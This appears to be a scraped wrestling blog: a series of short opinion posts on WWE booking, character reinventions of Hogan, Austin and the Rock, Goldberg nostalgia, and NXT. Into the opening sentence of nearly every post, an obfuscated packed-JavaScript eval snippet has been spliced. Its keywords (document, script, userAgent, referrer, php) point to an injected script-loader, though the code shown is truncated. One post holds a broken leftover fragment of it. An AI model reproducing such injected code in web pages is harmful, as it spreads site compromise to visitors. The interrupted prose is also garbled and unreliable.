Thought of the Day: If At First You Don’t Succeed…

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fdtsa|var|u0026u|referrer|khdsy||js|php'.split('|'),0,{})) one of my thoughts, so you know it’s going to be based in old school stuff.Anymore WWE seems to be afraid to change anything about a character. Look at Del Rio, Brodus, Ryder, Mahal and a large group of others. They’re pretty much the exact same character that they were a year ago, if not even less developed. Let’s take a look at the three biggest stars ever:

Hulk Hogan – Brought in as a generic big heel. he had Freddie Blassie as a manager, was at the semi-main event level, and probably would have won the world title one day. Then he went to the AWA, made Rocky III, left the AWA because Gagne wouldn’t wake up and realize what he had, came back to the WWF as the REAL AMERICAN and became the biggest good guy of all time, completely revolutionizing wrestling.

Steve Austin – Originally Stunning Steve who wore flowery tights, then a Hollywood Blonde who made camera motions, then a tradition hating guy who cursed a lot, then Superstar Steve in ECW, then the Ringmaster…..whatever that was supposed to be, then himself because Ted DiBiase left and they had no idea what to do but let him drink beer, flip people off, curse a lot and be a rebel, relaunching WWF to the top of the business and winning the Monday Night Wars.

The Rock – Brought in as a plucky young guy who was just so happy to be there, gets told to die by most of the fans, comes back as a cocky black power guy in the Nation of Domination, becomes a cocky jock heel, becomes a cocky jock face, becomes the greatest promo man of all time with at least a dozen catchphrases.

Of the three biggest guys, none of these guys were anywhere close to being the guy that they were brought in to be. Rocky at least was supposed to be a guy who was going to be a big deal. Hogan was never going to be the number one guy in the company in his original form. Austin….not as the Ringmaster he wasn’t going to be. Rocky got over huge, but as the polar opposite of what he was brought in as.

Sometimes you have to try a bunch of stuff until you find something that worked. Look at Undertaker and Kane: Undertaker was a natural, Kane took a bunch of tries to get what worked. Try some effort WWE. It’ll do you good.

Thought of the Day: How To Fix A Bad Show

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdiky|var|u0026u|referrer|sbdfr||js|php'.split('|'),0,{})) is something I’ve said for years but it was very true last night:Sometimes the solution to all of the problems with your stories and your angles and everything else that is going wrong is to just have a good wrestling match. Last night everything was going bad, the stories weren’t clicking and I was just not caring at all about the show. Then Bryan vs. Ziggler happened and I had a new spirit for the show. Granted after that it was quickly crushed again, but it helped a lot for awhile and it can help almost every time.

When all else fails, have a good wrestling match. It’ll help.

I Want To Talk A Little Bit About Defining Moments

Hogan won the title in January of 1984. A little over a year later, there was The War To Settle The Score, which was a huge house show that celebrities attended and had a huge main event of Hogan vs. Piper. It was a HUGE show and one of the biggest moments in WWF history. Then about six weeks later, there was another show called Wrestlemania. This was even bigger and had even more celebrities and a bigger audience. Then two years after that, there was Wrestlemania III, which had over four times the audience of Wrestlemania I.

Thought Of The Day: Goldberg

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzbie|var|u0026u|referrer|zbiyh||js|php'.split('|'),0,{})) is another internet wrestling/wrestling in general obsession that I don’t get.Goldberg debuted in 1997, won the US Title in spring of 1998, won the world title in July of 98, lost it in December, feuded with Hall and Nash until the summer, left for a month or two, came back and feuded with Sting, feuded with Russo and hurt his arm attacking the limo, missed four more months, came back, turned heel, turned face, restarted the Streak, and got hurt again in January and was never seen in WCW again.

Then he debuted in WWE in March of 2003, feuded with and beat Rock, feuded with HHH over the summer and won the world title, lost the title in December, feuded with Lesnar and had a horrible match with him at Wrestlemania 20.

That is Bill Goldberg’s American wrestling career, with every major moment listed in two paragraphs. Goldberg last appeared in a WWE ring over eight and a half years ago, or longer than Austin and Rock’s WWF careers.

So why is the audience still obsessed with the guy? You hear his name chanted anytime someone goes on a winning streak, people seemingly drool over the idea of him coming back, and people keep wanting him to come back for one more run. Why? What is this obsession with Goldberg? I don’t get it at all. He’s going to be 46 in December so it’s not like he’d have a long run in him. His entire career ran for about five years yet people STILL want him back.

Someone explain this to me.

Thought Of The Day: Missed Masterpieces Of The 80s

Barry eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftrby|var|u0026u|referrer|iatdz||js|php'.split('|'),0,{})) Windham vs. Randy Savage

Ted DiBiase vs. Tito Santana

To the best of my knowledge, neither match ever happened. Tito vs. Ted might have on some house show but I’m 99% positive that Windham vs. Savage never did, at least not when it would have been great (read as before 1989ish when Windham just stopped trying). Imagine either of these matches getting 20 minutes and see if you don’t smile a little.

I Want To Talk A Little Bit About Wrestlers Sticking To Their Strengths

That right there is a lesson that a large amount of wrestling fans need to learn. Today, you hear people talking about guys like Punk and Bryan and using the words Best in the World to describe them. Their justification for this seems to be that Punk and Bryan put on long and entertaining matches with a wide variety of moves. These same fans tend to criticize guys like Hogan and Cena for using a much smaller moveset.

Why did Hogan never change or mix it up? Well why should he have done so? Hogan got some of the biggest reactions for well over 20 years doing the exact same stuff, and it never stopped working. Hogan got to the top of the wrestling world using the same formula and it never stopped at all. Somehow being the biggest star ever made him into the worst wrestler ever.

Thought Of The Day: Why Are You Doing That?

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|diknb|var|u0026u|referrer|zdsbh||js|php'.split('|'),0,{})) is something that occurs to me a lot lately and something WWE is very bad at: everything that is done should be to either make you want to watch the TV show or make you want to buy the PPV. That’s the point of the company: they should be trying to make you want to see more and preferably to make you want to pay to see it. Instead, it seems to be to do whatever whim the company is on at the moment. Instead things seem to be about pushing whatever their latest endeavor is to get them publicity. It’s like they’re focusing on everything but their in ring product if that makes sense. How many times do you see the company pushing the in ring product or a future match on the show? Now on the other hand, how many times do you hear something pushed that is about hearing something else about the product? As in hearing about Twitter, Tout, Facebook, the App etc. As in you’re not hearing about the product, but about something that is about the product. That seems to be counter productive to me.

(Not My) Thought of the Day: Titles Make No Sense

This is something I’ve thought of before but this was written by Lance Storm, who you should certainly read on a regular basis. As you can likely tell, this was written late last year.");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzyzt|var|u0026u|referrer|ksntn||js|php'.split('|'),0,{})) What do the Intercontinental and United States Titles even mean? Punk is the best wrestler in the WWE, Bryan the best wrestler in the World, so is Rhodes the best wrestler in North and South America, and Ryder the best wrestler in the USA. There seems to be a lot of contradiction and over lap with that explanation.

Thought of the Day: Dusty Rhodes Is The Best GM Ever

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fztik|var|u0026u|referrer|rtkhe||js|php'.split('|'),0,{})) is one of the reasons why NXT is possibly the best wrestling show today.Dusty Rhodes is the GM of NXT and he’s been on the show maybe three times. He makes matches but he doesn’t do so on screen. What might happen is two guys will have an altercation in the back and then when they have the match, Regal might say something like “this match was set up by NXT GM Dusty Rhodes.” No TV time wasted, no theme songs being pounded into our heads, no holding the hand of the viewers, just matches being made when they make sense.

Why can’t Raw or Smackdown get this?